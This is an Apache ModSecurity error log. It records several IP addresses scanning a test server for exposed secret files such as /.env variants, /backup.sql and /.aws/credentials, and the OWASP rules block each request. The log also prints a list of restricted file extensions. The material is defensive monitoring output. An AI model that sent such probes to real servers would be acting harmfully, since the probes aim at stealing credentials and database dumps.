[Sat May 10 15:41:05.086149 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aB9XcSMUhQ8W_ipCq8iSPwAAAAI&quot;]
[Sat May 10 15:41:05.086500 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aB9XcSMUhQ8W_ipCq8iSPwAAAAI&quot;]
[Sat May 10 15:41:05.086683 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aB9XcSMUhQ8W_ipCq8iSPwAAAAI&quot;]
[Sat May 10 15:41:05.108676 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aB9XcSMUhQ8W_ipCq8iSQAAAAAI&quot;]
[Sat May 10 15:41:05.109011 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aB9XcSMUhQ8W_ipCq8iSQAAAAAI&quot;]
[Sat May 10 15:41:05.109201 2025] [:error] [pid 3059057] [client 154.83.103.111:35516] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aB9XcSMUhQ8W_ipCq8iSQAAAAAI&quot;]
[Tue May 13 07:15:58.370407 2025] [:error] [pid 3118199] [client 176.98.186.45:55085] [client 176.98.186.45] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCLVjkh5QMpOL7IpbmTi_gAAAAA&quot;]
[Tue May 13 07:15:58.371714 2025] [:error] [pid 3118199] [client 176.98.186.45:55085] [client 176.98.186.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCLVjkh5QMpOL7IpbmTi_gAAAAA&quot;]
[Tue May 13 07:15:58.371910 2025] [:error] [pid 3118199] [client 176.98.186.45:55085] [client 176.98.186.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCLVjkh5QMpOL7IpbmTi_gAAAAA&quot;]
[Tue May 13 07:15:59.204726 2025] [:error] [pid 3118201] [client 176.98.186.45:57023] [client 176.98.186.45] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aCLVj4utoXP2cZ2pud0yTQAAAAI&quot;]
[Tue May 13 07:15:59.204975 2025] [:error] [pid 3118201] [client 176.98.186.45:57023] [client 176.98.186.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aCLVj4utoXP2cZ2pud0yTQAAAAI&quot;]
[Tue May 13 07:15:59.205153 2025] [:error] [pid 3118201] [client 176.98.186.45:57023] [client 176.98.186.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aCLVj4utoXP2cZ2pud0yTQAAAAI&quot;]
[Tue May 13 07:15:59.980250 2025] [:error] [pid 3118208] [client 176.98.186.45:58764] [client 176.98.186.45] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aCLVj6HUKFZm9gUzsbIo5AAAAAU&quot;]
[Tue May 13 07:15:59.980505 2025] [:error] [pid 3118208] [client 176.98.186.45:58764] [client 176.98.186.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aCLVj6HUKFZm9gUzsbIo5AAAAAU&quot;]
[Tue May 13 07:15:59.980679 2025] [:error] [pid 3118208] [client 176.98.186.45:58764] [client 176.98.186.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aCLVj6HUKFZm9gUzsbIo5AAAAAU&quot;]
[Tue May 13 07:16:00.281893 2025] [:error] [pid 3118202] [client 176.98.186.45:59491] [client 176.98.186.45] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aCLVkJo8Y6wshjcS_wvrpwAAAAM&quot;]
[Tue May 13 07:16:00.282156 2025] [:error] [pid 3118202] [client 176.98.186.45:59491] [client 176.98.186.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aCLVkJo8Y6wshjcS_wvrpwAAAAM&quot;]
[Tue May 13 07:16:00.282368 2025] [:error] [pid 3118202] [client 176.98.186.45:59491] [client 176.98.186.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aCLVkJo8Y6wshjcS_wvrpwAAAAM&quot;]
[Tue May 13 07:16:01.726939 2025] [:error] [pid 3118200] [client 176.98.186.45:63341] [client 176.98.186.45] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aCLVkb3zzg80F-yPhoZVRQAAAAE&quot;]
[Tue May 13 07:16:01.727186 2025] [:error] [pid 3118200] [client 176.98.186.45:63341] [client 176.98.186.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aCLVkb3zzg80F-yPhoZVRQAAAAE&quot;]
[Tue May 13 07:16:01.727368 2025] [:error] [pid 3118200] [client 176.98.186.45:63341] [client 176.98.186.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aCLVkb3zzg80F-yPhoZVRQAAAAE&quot;]
[Tue May 13 07:16:07.228187 2025] [:error] [pid 3118202] [client 176.98.186.45:57666] [client 176.98.186.45] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aCLVl5o8Y6wshjcS_wvrqQAAAAM&quot;]
[Tue May 13 07:16:07.228453 2025] [:error] [pid 3118202] [client 176.98.186.45:57666] [client 176.98.186.45] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aCLVl5o8Y6wshjcS_wvrqQAAAAM&quot;]
[Tue May 13 07:16:07.229124 2025] [:error] [pid 3118202] [client 176.98.186.45:57666] [client 176.98.186.45] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aCLVl5o8Y6wshjcS_wvrqQAAAAM&quot;]
[Sun May 18 09:55:04.029381 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DJwAAAAs&quot;]
[Sun May 18 09:55:04.030501 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DJwAAAAs&quot;]
[Sun May 18 09:55:04.030683 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DJwAAAAs&quot;]
[Sun May 18 09:55:04.404060 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DKAAAAAs&quot;]
[Sun May 18 09:55:04.404311 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DKAAAAAs&quot;]
[Sun May 18 09:55:04.404527 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DKAAAAAs&quot;]
[Sun May 18 09:55:04.740185 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DKQAAAAs&quot;]
[Sun May 18 09:55:04.740427 2025] [:error] [pid 3243898] [client 170.39.217.179:50772] [client 170.39.217.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aCmSWBxjSFkyzmhkFJ4DKQAAAAs&quot;]
